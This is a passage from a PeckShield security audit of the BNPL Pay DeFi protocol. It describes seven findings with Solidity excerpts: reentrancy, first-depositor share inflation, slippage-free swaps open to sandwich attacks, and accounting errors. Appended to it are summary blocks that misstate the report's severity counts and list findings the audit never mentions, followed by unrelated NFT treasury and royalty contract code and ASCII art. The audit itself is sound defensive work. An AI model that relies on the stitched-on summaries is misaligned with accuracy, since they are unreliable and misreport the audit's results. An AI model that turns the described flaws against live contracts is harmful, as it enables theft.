tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [11], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/25 PeckShield Audit Report #: 2022-097Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/25 PeckShield Audit Report #: 2022-097Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the BNPL Pay implementation. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logic, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 3 Low 4 Informational 0 Total 7 We have so far identified a list of potential issues: some of them involve subtle corner cases that might not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduc- tion, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities that need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/25 PeckShield Audit Report #: 2022-097Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 3medium-severity vulnerabilities and 4low-severity vulnerabilities. Table 2.1: Key BNPL Pay Audit Findings IDSeverity Title Category Status PVE-001 Medium Improved Logic of Calculation For prin- cipalLost AmountBusiness Logic Fixed PVE-002 Medium Proper Handling Of totalUnbonding- Shares CalculationBusiness Logic Fixed PVE-003 Low Reentrancy Risk in BankingNode Business Logic Partially Fixed PVE-004 Medium Possible Costly LPs From Improper BankingNode InitializationTime and State Fixed PVE-005 Low Accommodation of approve() Idiosyn- crasiesCoding Practices Fixed PVE-006 Low IncompatibilitywithDeflationaryTokens Business Logic Confirmed PVE-007 Low Possible Sandwich/MEV Attacks For Reduced ReturnsBusiness Logic Confirmed Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/25 PeckShield Audit Report #: 2022-097Public 3 | Detailed Results 3.1 Improved Logic of Calculation For principalLost Amount •ID: PVE-001 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: BankingNode •Category: Business Logic [8] •CWE subcategory: CWE-841 [5] Description The BNPL Pay protocol allows the user to create, and operate a pool of liquidity that is delegated to them from lenders. When the capital loss is incurred from loan defaults, the slashing occurs. The percentage slashing penalty will be equivalent to the size of the default as a percentage of the total pool capital. While examining this part of logic, we notice an issue in current implementation. To elaborate, we show below the related routines. 645 function slashLoan ( uint256 loanId , uint256 minOut ) 646 external 647 ensurePrincipalRemaining ( loanId ) 648 { 649 // Step 1. load loan as local variable 650 Loan storage loan = idToLoan [ loanId ]; 651 ... 652 // Step 4. calculate the amount to be slashed 653 uint256 principalLost = loan . principalRemaining ; 654 // Check if there was a full recovery for the loan , if so 655 if ( baseTokenOut >= principalLost ) { 656 ... 657 } 658 // slash loan only if losses are greater than recovered 659 else { 660 // safe div : principal > 0 => totalassetvalue > 0 661 uint256 slashPercent = (1 e12 * principalLost ) / 662 getTotalAssetValue (); 663 uint256 unbondingSlash = ( unbondingAmount * slashPercent ) / 1 e12 ; 11/25 PeckShield Audit Report #: 2022-097Public 664 uint256 stakingSlash = ( getStakedBNPL () * slashPercent ) / 1 e12 ; 665 // Step 5. deduct slashed from respective balances 666 accountsReceiveable -= principalLost ; 667 slashingBalance += unbondingSlash + stakingSlash ; 668 unbondingAmount -= unbondingSlash ; 669 } 670 ... 671 } Listing 3.1: BankingNode::slashLoan() The slashLoan() routine implements a rather straightforward logic in allowing the users to declare a loan defaulted and slash the loan. It comes to our attention that the calculation of principalLost is using (1e12 * principalLost)/ getTotalAssetValue() . This logic makes an implicit assumption of principalLost is the total loss while this value should equal to principalLost - baseTokenOut . Recommendation Revise the above slashLoan routine to properly compute the value of principalLost . Status This issue has been fixed in the commit: 1f791a6. 3.2 Proper Handling Of totalUnbondingShares Calculation •ID: PVE-002 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: BankingNode •Category: Business Logic [8] •CWE subcategory: CWE-841 [5] Description The BNPL Payprotocol allows the user to stake BNPLtokens into the Banking Nodes .Stakerswill receive a share of all revenues generated by the underlying pool and be subject to the same slashing penalties as those incurred by the node. To prevent gaming of the system via hopping between pools prior to revenue accrual, when tokens are withdrawn they will be subject to a 7 day unstaking period during which time no rewards will be accrued but slashing penalties can still be incurred. While examining the related implementation, we notice there is a logic error in the unstake() routine. To elaborate, we show below the related code snippet. 615 function unstake () external { 616 uint256 _userAmount = unbondingShares [msg . sender ]; 617 if ( _userAmount == 0) { 618 revert ZeroInput (); 619 } 620 // assuming 13s block , 46523 blocks for 1 week 12/25 PeckShield Audit Report #: 2022-097Public 621 if ( block . number < unbondBlock [ msg . sender ] + 46523) { 622 revert LoanStillUnbonding (); 623 } 624 uint256 _unbondingAmount = unbondingAmount ; 625 uint256 _totalUnbondingShares = totalUnbondingShares ; 626 address _bnpl = BNPL ; 627 // safe div : if user amount > 0, then totalUnbondingShares always > 0 628 uint256 _what = ( _userAmount * _unbondingAmount ) / 629 _totalUnbondingShares ; 630 // transfer the tokens to user 631 TransferHelper . safeTransfer (_bnpl , msg .sender , _what ); 632 // update the balances 633 unbondingShares [ msg . sender ] = 0; 634 unbondingAmount -= _what ; 636 emit bnplWithdrawn ( msg . sender , _what ); 637 } Listing 3.2: BankingNode::unstake() The unstake() routine(seethecodesnippetabove)isprovidedtowithdraw BNPLfromabondonce unstaking period ends. It comes to our attention that the balance calculation of totalUnbondingShares is not counted the amount withdrawn by the Stakersinto it. Hence, the later Stakersis subjected to a lower withdrawn amount as the unbondingAmount is deducted as normal while the totalUnbondingShares is not. Recommendation Correct the above calculation of totalUnbondingShares . Status The issue has been fixed by this commit: 1f791a6. 3.3 Reentrancy Risk in BankingNode •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: Low•Target: BankingNode •Category: Time and State [9] •CWE subcategory: CWE-663 [3] Description A common coding best practice in Solidity is the adherence of checks-effects-interactions principle. This principle is effective in mitigating a serious attack vector known as re-entrancy . Via this particular attack vector, a malicious contract can be reentering a vulnerable contract in a nested manner. Specifically, it first calls a function in the vulnerable contract, but before the first instance of the function call is finished, second call can be arranged to re-enter the vulnerable contract by 13/25 PeckShield Audit Report #: 2022-097Public invoking functions that should only be executed once. This attack was part of several most prominent hacks in Ethereum history, including the DAO[15] exploit, and the recent Uniswap/Lendf.Me hack [14]. We notice there is an occasion where the checks-effects-interactions principle is violated. Using the BankingNode as an example, the unstake() function (see the code snippet below) is provided to externally call a token contract to transfer assets. However, the invocation of an external contract requires extra care in avoiding the above re-entrancy . Apparently, the interaction with the external contract (line 631) starts before effecting the update on the internal state (lines 633-634), hence violating the principle. In this particular case, if the external contract has certain hidden logic that may be capable of launching re-entrancy via the same entry function. 615 function unstake () external { 616 uint256 _userAmount = unbondingShares [msg . sender ]; 617 if ( _userAmount == 0) { 618 revert ZeroInput (); 619 } 620 // assuming 13s block , 46523 blocks for 1 week 621 if ( block . number < unbondBlock [ msg . sender ] + 46523) { 622 revert LoanStillUnbonding (); 623 } 624 uint256 _unbondingAmount = unbondingAmount ; 625 uint256 _totalUnbondingShares = totalUnbondingShares ; 626 address _bnpl = BNPL ; 627 // safe div : if user amount > 0, then totalUnbondingShares always > 0 628 uint256 _what = ( _userAmount * _unbondingAmount ) / 629 _totalUnbondingShares ; 630 // transfer the tokens to user 631 TransferHelper . safeTransfer (_bnpl , msg .sender , _what ); 632 // update the balances 633 unbondingShares [ msg . sender ] = 0; 634 unbondingAmount -= _what ; 635 636 emit bnplWithdrawn ( msg . sender , _what ); 637 } Listing 3.3: BankingNode::unstake() Note that other routines including withdrawCollateral() ,stake(),slashLoan() ,sellSlashed() , makeLoanPayment() ,requestLoan() and repayEarly() from the same contract share the same issue. Recommendation Apply necessary reentrancy prevention by utilizing the nonReentrant modifier to block possible re-entrancy . Status The issue has been partially fixed by this commit: 3e1f4d9. 14/25 PeckShield Audit Report #: 2022-097Public 3.4 Possible Costly LPs From Improper BankingNode Initialization •ID: PVE-004 •Severity: Medium •Likelihood: Low •Impact: Medium•Target: BankingNode •Category: Time and State [6] •CWE subcategory: CWE-362 [2] Description The BankingNode contract allows the lenders to deposit their funds to receive bUSDtoken as shares. The lenders will get their pro-rata share based on their deposited amount. While examining the share calculation with the given deposits, we notice an issue that may unnecessarily make the share extremely expensive and bring hurdles (or even causes loss) for later depositors. Toelaborate, weshowbelowthe deposit() routine. This deposit() routineisusedforparticipating lenders to deposit the supported asset (e.g., baseToken ) and get respective shares in return. The issue occurs when the BankingNode contract is being initialized under the assumption that the current contract is empty. 476 function deposit ( uint256 _amount ) 477 external 478 ensureNodeActive 479 nonZeroInput ( _amount ) 480 { 481 // check the decimals of the baseTokens 482 address _baseToken = baseToken ; 483 uint256 decimalAdjust = 1; 484 uint256 tokenDecimals = ERC20 ( _baseToken ). decimals (); 485 if ( tokenDecimals != 18) { 486 decimalAdjust = 10**(18 - tokenDecimals ); 487 } 488 // get the amount of tokens to mint 489 uint256 what = _amount * decimalAdjust ; 490 if ( totalSupply () != 0) { 491 // no need to decimal adjust here as total asset value adjusts 492 // unable to deposit if getTotalAssetValue () == 0 and totalSupply () != 0, but this 493 // should never occur as defaults will get slashed for some base token recovery 494 what = ( _amount * totalSupply ()) / getTotalAssetValue (); 495 } 496 // transfer tokens from the user and mint 497 TransferHelper . safeTransferFrom ( 498 _baseToken , 499 msg . sender , 15/25 PeckShield Audit Report #: 2022-097Public 500 address ( this ), 501 _amount 502 ); 503 _mint ( msg . sender , what ); 504 505 _depositToLendingPool ( _baseToken , _amount ); 506 507 emit baseTokenDeposit ( msg. sender , _amount ); 508 } Listing 3.4: BankingNode::deposit() Specifically, when the contract is being initialized, the share value directly takes the value of _amount(line 489), supposing the decimalAdjust is1, which is manipulatable by the malicious actor. As this is the first deposit, the current total supply equals the calculated shares = 1 WEI . With that, the actor can further deposit a huge amount of baseToken into the lendingpool contract on behalf of the BankingNode with the goal of making the share extremely expensive. An extremely expensive share can be very inconvenient to use as a small number of 1Weimay denote a large value. Furthermore, it can lead to precision issue in truncating the computed pool tokens for deposited assets. If truncated to be zero, the deposited assets are essentially considered dust and kept by the pool without returning any pool tokens. This is a known issue that has been mitigated in popular Uniswap. When providing the initial liquidity to the contract (i.e. when totalSupply is 0), the liquidity provider must sacrifice 1000LP tokens (by sending them to address .0/). By doing so, we can ensure the granularity of the LP tokens is always at least 1000and the malicious actor is not the sole holder. This approach may bring an additional cost for the initial liquidity provider, but this cost is expected to be low and acceptable. Recommendation Revise current execution logic of share calculation to defensively calculate the share amount when the pool is being initialized. An alternative solution is to ensure guarded launch that safeguards the first deposit to avoid being manipulated. Status The issue has been fixed by this commit: 607bdce. 16/25 PeckShield Audit Report #: 2022-097Public 3.5 Accommodation of approve() Idiosyncrasies •ID: PVE-005 •Severity: Low •Likelihood: Low •Impact: Low•Target: BankingNode •Category: Coding Practices [7] •CWE subcategory: CWE-1126 [1] Description ThoughthereisastandardizedERC-20specification, manytokencontractsmaynotstrictlyfollowthe specification or have additional functionalities beyond the specification. In this section, we examine the approve() routine and analyze possible idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.5: USDT Token Contract Because of that, a normal call to approve() with a currently non-zero allowance may fail. In the following, we use the BankingNode::_depositToLendingPool() routine as an example. This routine is designed to approve the lendingpool contract to deposit tokenIninto aToken. To accommodate the specific idiosyncrasy, for each safeApprove() (line 863), there is a need to safeApprove() twice: the first one reduces the allowance to 0; and the second one sets the new allowance. 17/25 PeckShield Audit Report #: 2022-097Public 862 function _depositToLendingPool ( address tokenIn , uint256 amountIn ) private { 863 TransferHelper . safeApprove ( 864 tokenIn , 865 address ( _getLendingPool ()), 866 amountIn 867 ); 868 _getLendingPool (). deposit ( tokenIn , amountIn , address ( this ), 0); 869 } Listing 3.6: BankingNode::_depositToLendingPool() Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related safeApprove() . Status The issue has been fixed by this commit: db22368. 3.6 Incompatibility with Deflationary Tokens •ID: PVE-006 •Severity: Low •Likelihood: Low •Impact: Low•Target: BNPLRewardsController •Category: Business Logic [8] •CWE subcategory: CWE-841 [5] Description In the BNPL Pay protocol, the BNPLRewardsController contract is designed to take users’ assets and deliver rewards depending on their share. In particular, one interface, i.e., deposit() , accepts asset transfer-in and records the depositor’s balance. Another interface, i.e, withdraw() , allows the user to withdraw the asset with necessary bookkeeping under the hood. For the above two operations, i.e., deposit() and withdraw() , the contract using the safeTransferFrom() routine to transfer assets into or out of its pool. This routine works as expected with standard ERC20 tokens: namely the pool’s internal asset balances are always consistent with actual token balances maintained in individual ERC20 token contract. 158 /** 159 * Deposit LP tokens from the user 160 */ 161 function deposit ( uint256 _pid , uint256 _amount ) public { 162 PoolInfo storage pool = poolInfo [ _pid ]; 163 UserInfo storage user = userInfo [ _pid ][ msg. sender ]; 165 updatePool ( _pid ); 167 uint256 pending = (( user . amount * pool . accBnplPerShare ) / 1 e12 ) - 18/25 PeckShield Audit Report #: 2022-097Public 168 user . rewardDebt ; 170 user . amount += _amount ; 171 user . rewardDebt = ( user . amount * pool . accBnplPerShare ) / 1 e12 ; 173 if ( pending > 0) { 174 safeBnplTransfer ( msg . sender , pending ); 175 } 176 TransferHelper . safeTransferFrom ( 177 address ( pool . lpToken ), 178 msg . sender , 179 address ( this ), 180 _amount 181 ); 183 emit Deposit ( msg . sender , _pid , _amount ); 184 } 186 /** 187 * Withdraw LP tokens from the user 188 */ 189 function withdraw ( uint256 _pid , uint256 _amount ) public { 190 PoolInfo storage pool = poolInfo [ _pid ]; 191 UserInfo storage user = userInfo [ _pid ][ msg. sender ]; 193 if ( _amount > user . amount ) { 194 revert InsufficientUserBalance ( user . amount ); 195 } 197 updatePool ( _pid ); 199 uint256 pending = (( user . amount * pool . accBnplPerShare ) / 1 e12 ) - 200 user . rewardDebt ; 202 user . amount -= _amount ; 203 user . rewardDebt = ( user . amount * pool . accBnplPerShare ) / 1 e12 ; 205 if ( pending > 0) { 206 safeBnplTransfer ( msg . sender , pending ); 207 } 208 TransferHelper . safeTransfer ( address ( pool . lpToken ), msg .sender , _amount ); 210 emit Withdraw (msg. sender , _pid , _amount ); 211 } Listing 3.7: BNPLRewardsController::deposit()and BNPLRewardsController::withdraw() However, there exist other ERC20 tokens that may make certain customization to their ERC20 contracts. One type of these tokens is deflationary tokens that charge certain fee for every transfer() ortransferFrom() . As a result, this may not meet the assumption behind asset-transferring routines. In other words, the above operations, such as deposit() and withdraw() , may introduce unexpected 19/25 PeckShield Audit Report #: 2022-097Public balance inconsistencies when comparing internal asset records with external ERC20 token contracts. Apparently, these balance inconsistencies are damaging to accurate and precise portfolio management of the pool and affects protocol-wide operation and maintenance. Specially,ifwetakealookatthe updatePool() routine. Thisroutinecalculates pool.accBnplPerShare via dividing bnplReward bylpSupply, where the lpSupply is derived from balanceOf(address(this)) (line 130). Because the balance inconsistencies of the pool, the lpSupply could be 1Weiand thus may give a big pool.accBnplPerShare as the final result, which dramatically inflates the pool’s reward. 122 /** 123 * Update reward variables for a pool given pool to be up -to - date 124 */ 125 function updatePool ( uint256 _pid ) public { 126 PoolInfo storage pool = poolInfo [ _pid ]; 127 if ( block . timestamp <= pool . lastRewardTime ) { 128 return ; 129 } 130 uint256 lpSupply = pool . lpToken . balanceOf ( address ( this )); 131 if ( lpSupply == 0) { 132 pool . lastRewardTime == block . timestamp ; 133 return ; 134 } 135 uint256 multiplier = getMultiplier ( 136 pool . lastRewardTime , 137 block . timestamp 138 ); 139 uint256 bnplReward = ( multiplier * bnplPerSecond * pool . allocPoint ) / 140 totalAllocPoint ; 141 142 // instead of minting , simply transfers the tokens from the owner 143 // ensure owner has approved the tokens to the contract 144 145 address _bnpl = bnpl ; 146 address _treasury = treasury ; 147 TransferHelper . safeTransferFrom ( 148 _bnpl , 149 _treasury , 150 address ( this ), 151 bnplReward 152 ); 153 154 pool . accBnplPerShare += ( bnplReward * 1 e12 ) / lpSupply ; 155 pool . lastRewardTime = block . timestamp ; 156 } Listing 3.8: BNPLRewardsController::updatePool() One mitigation is to measure the asset change right before and after the asset-transferring routines. In other words, instead of bluntly assuming the amount parameter in safeTransfer() or safeTransferFrom() will always result in full transfer, we need to ensure the increased or decreased 20/25 PeckShield Audit Report #: 2022-097Public amount in the pool before and after the safeTransfer() orsafeTransferFrom() is expected and aligned well with our operation. Though these additional checks cost additional gas usage, we consider they are necessary to deal with deflationary tokens or other customized ones if their support is deemed necessary. AnothermitigationistoregulatethesetofERC20tokensthatarepermittedinto BNPLRewardsController protocol for support. However, certain existing stable coins may exhibit control switches that can be dynamically exercised to convert into deflationary. Note another routine, i.e., withdrawCollateral() , from the BankingNode contract shares the same issue. Recommendation Checkthebalancebeforeandafterthe safeTransfer() orsafeTransferFrom() call to ensure the book-keeping amount is accurate. Status This issue has been confirmed. The team clarifies they will not support deflationary tokens. 3.7 Possible Sandwich/MEV Attacks For Reduced Returns •ID: PVE-007 •Severity: Low •Likelihood: Low •Impact: Low•Target: BankingNode •Category: Time and State [10] •CWE subcategory: CWE-682 [4] Description The BankingNode contract has a helper routine, i.e., collectFees() , that is designed to convert the baseToken toBNPLforStakers. It has a rather straightforward logic in calling the safeTransfer() to transfer the funds and calling _swapToken() to actually perform the intended token swap. 453 function collectFees () external { 454 // requirement check for nonzero inside of _swap 455 // 33% to go to operator as baseToken 456 address _baseToken = baseToken ; 457 address _bnpl = BNPL ; 458 address _operator = operator ; 459 uint256 _operatorFees = IERC20 ( _baseToken ). balanceOf ( address ( this )) / 3; 460 TransferHelper . safeTransfer ( _baseToken , _operator , _operatorFees ); 461 // remainder (67%) is traded for staking rewards 462 // no need for slippage on small trade 463 uint256 _stakingRewards = _swapToken ( 464 _baseToken , 465 _bnpl , 466 0, 21/25 PeckShield Audit Report #: 2022-097Public 467 IERC20 ( _baseToken ). balanceOf ( address ( this )) 468 ); 469 emit feesCollected ( _operatorFees , _stakingRewards ); 470 } Listing 3.9: BankingNode::collectFees() To elaborate, we show above the collectFees() routine. We notice the actual swap operation _swapToken() essentially do not specify any restriction (with minOut=0) on possible slippage and is therefore vulnerable to possible front-running attacks, resulting in a smaller return for this round of operation. NotethatthisisacommonissueplaguingcurrentAMM-basedDEXsolutions. Specifically, alarge trade may be sandwiched by a preceding sell to reduce the market price, and a tailgating buy-back of the same amount plus the trade amount. Such sandwiching behavior unfortunately causes a loss and brings a smaller return as expected to the trading user because the swap rate is lowered by the preceding sell. As a mitigation, we may consider specifying the restriction on possible slippage caused by the trade or referencing the TWAPortime-weighted average price ofUniswapV2 . Nevertheless, we need to acknowledge that this is largely inherent to current blockchain infrastructure and there is still a need to continue the search efforts for an effective defense. Note the same issue also exists on the another routine in the BankingNode contract. Recommendation Develop an effective mitigation to the above front-running attack to better protect the interests of farming users. Status The issue has been confirmed by the team. And the team clarifies that since these fees will be relatively small, it is very unlikely to cause much losses from sandwich attacks. 22/25 PeckShield Audit Report #: 2022-097Public 4 | Conclusion In this audit, we have analyzed the BNPL Pay design and implementation. BNPL Pay is a decentralized finance protocol which aims to create a unique uncollateralized lending platform. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 23/25 PeckShield Audit Report #: 2022-097Public References [1] MITRE. CWE-1126: Declaration of Variable with Unnecessarily Wide Scope. https://cwe. mitre.org/data/definitions/1126.html. [2] MITRE. CWE-362: ConcurrentExecutionusingSharedResourcewithImproperSynchronization (’Race Condition’). https://cwe.mitre.org/data/definitions/362.html. [3] MITRE. CWE-663: Use of a Non-reentrant Function in a Concurrent Context. https://cwe. mitre.org/data/definitions/663.html. [4] MITRE. CWE-682: Incorrect Calculation. https://cwe.mitre.org/data/definitions/682.html. [5] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [6] MITRE. CWE CATEGORY: 7PK - Time and State. https://cwe.mitre.org/data/definitions/ 361.html. [7] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [8] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [9] MITRE. CWE CATEGORY: Concurrency. https://cwe.mitre.org/data/definitions/557.html. 24/25 PeckShield Audit Report #: 2022-097Public [10] MITRE. CWE CATEGORY: Error Conditions, Return Values, Status Codes. https://cwe.mitre. org/data/definitions/389.html. [11] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [12] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. [13] PeckShield. PeckShield Inc. https://www.peckshield.com. [14] PeckShield. Uniswap/Lendf.Me Hacks: Root Cause and Loss Analysis. https://medium.com/ @peckshield/uniswap-lendf-me-hacks-root-cause-and-loss-analysis-50f3263dcc09. [15] David Siegel. Understanding The DAO Attack. https://www.coindesk.com/ understanding-dao-hack-journalists. 25/25 PeckShield Audit Report #: 2022-097
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 2 - Major: 1 - Critical: 0 Minor Issues 2.a Problem: Improved Logic of Calculation For principalLost Amount (Line 11) 2.b Fix: Use a more accurate calculation for principalLost Amount (Line 12) Moderate Issues 3.a Problem: Proper Handling Of totalUnbondingShares Calculation (Line 13) 3.b Fix: Use a more accurate calculation for totalUnbondingShares (Line 14) Major Issue 4.a Problem: Reentrancy Risk in BankingNode (Line 15) 4.b Fix: Implement a reentrancy guard to prevent reentrancy attacks (Line 16) Observations - BNPL Pay is a decentralized finance protocol which aims to create a unique uncollateralized lending platform. - There are several issues related to either security or performance which can be further improved. Conclusion The audit of BNPL Pay revealed two minor issues, two moderate issues, and one major issue. The audit also revealed that the protocol can be further improved due to the presence of several Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return values in the transfer function (line 545) 2.b Fix (one line with code reference) - Added checks for return values in the transfer function (line 545) Moderate: 0 Major: 0 Critical: 0 Observations - No major or critical issues were found in the BNPL Pay smart contract. Conclusion - The BNPL Pay smart contract was found to be secure with no major or critical issues. Minor issues were identified and fixed. Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 3 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Constructor Mismatch (CWE-699) 2.b Fix (one line with code reference): Ensure the constructor is properly called and all the parameters are correctly set. Moderate Issues 3.a Problem (one line with code reference): Ownership Takeover (CWE-699) 3.b Fix (one line with code reference): Ensure the ownership is properly transferred and the access control is properly set. 4.a Problem (one line with code reference): Redundant Fallback Function (CWE-699) 4.b Fix (one line with code reference): Remove the redundant fallback function and ensure the fallback function is properly set. 5.a Problem (one line with code reference): Overflows & Underflows (CWE-699) 5.b Fix (one line with code reference): Ensure the data types are properly set and the overflow/underflow conditions are properly handled. Observations - No major or
// SPDX-License-Identifier: None pragma solidity ^0.8.8; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; contract SutterTreasury is PaymentSplitter { uint256 private _numberOfPayees; constructor(address[] memory payees, uint256[] memory shares_) payable PaymentSplitter(payees, shares_) { _numberOfPayees = payees.length; } function withdrawAll() external { require(address(this).balance > 0, "No balance to withdraw"); for (uint256 i = 0; i < _numberOfPayees; i++) { release(payable(payee(i))); } } } // SPDX-License-Identifier: None pragma solidity ^0.8.8; /// /// @dev Interface for the NFT Royalty Standard /// interface IERC2981 { /// @notice Called with the sale price to determine how much royalty // is owed and to whom. /// @param _tokenId - the NFT asset queried for royalty information /// @param _salePrice - the sale price of the NFT asset specified by _tokenId /// @return receiver - address of who should be sent the royalty payment /// @return royaltyAmount - the royalty payment amount for _salePrice function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.8; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./IERC2981.sol"; /// @dev This is a contract used to add ERC2981 support to ERC721 and 1155 contract ERC2981 is ERC165, IERC2981 { struct RoyaltyInfo { address recipient; uint24 amount; } RoyaltyInfo private _royalties; /// @dev Sets token royalties /// @param recipient recipient of the royalties /// @param value percentage (using 2 decimals - 10000 = 100, 0 = 0) function _setRoyalties(address recipient, uint256 value) internal { require(value <= 10000, "ERC2981Royalties: Too high"); _royalties = RoyaltyInfo(recipient, uint24(value)); } /// @inheritdoc IERC2981 function royaltyInfo(uint256, uint256 value) external view override returns (address receiver, uint256 royaltyAmount) { RoyaltyInfo memory royalties = _royalties; receiver = royalties.recipient; royaltyAmount = (value * royalties.amount) / 10000; } /// @inheritdoc ERC165 function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: None pragma solidity ^0.8.8; //.......................................;+++*%%%%%%%%%%?++++,............................................................ //..................................:????%%?**:,:,,,,,:,;**?S%+........................................................... //.............................::;%%%?*+;:,,,::;++++;:::::+?S@?........................................................... //.........................,++*%%?:::,,,;;;;+********;::+%%*,,,...................................................;+++;... //......................:?????+,,:;;++++*************+:;%@:.....................................................:??*?**?:. //...................,:?%?*;,::+++******************;::+S@:....................................................,;@;,,,;@+, //..................;*%+;:;;*+++;::::;+************+:::?%S,....................................................SS,::+++:%# //................:??+,;+*+++::::::;+***;+********;::;+@?......................................................S#,+?%%?:S@ //.............,:??+:;+;;;:::::::;+***+;:;;*******;::;*@?....................................................:S+;;*?***%#@ //............;*%;:;+;::::::::::+***+::::::*++***?+::;*@?....................................................;@;:S*+****#@ //..........;*?+,;++:::::::::::;**+;::::::;*;:***%*:;+*@?...................................................+*?;;*?%%?**#@ //.......,:%*+:;+;;:::::::::::;*+;:::::::;+;::***S*:*%#+:.,,,,,...................................,,,......,SS,*%*?%?***#@ //.....,:*%;::+;;::::::::::::+*+;:::::::;++:::***%+:+S@,.,S#SS?;................................:*S#?.....;@+:+*?*SS**?+#@ //.....,@?:;;+:::::::::::::::++::::::::;*;::::***%*:+S@,.,#S++*?*;............................:*%?+@%....+*?;+@?**S#*S#%#@ 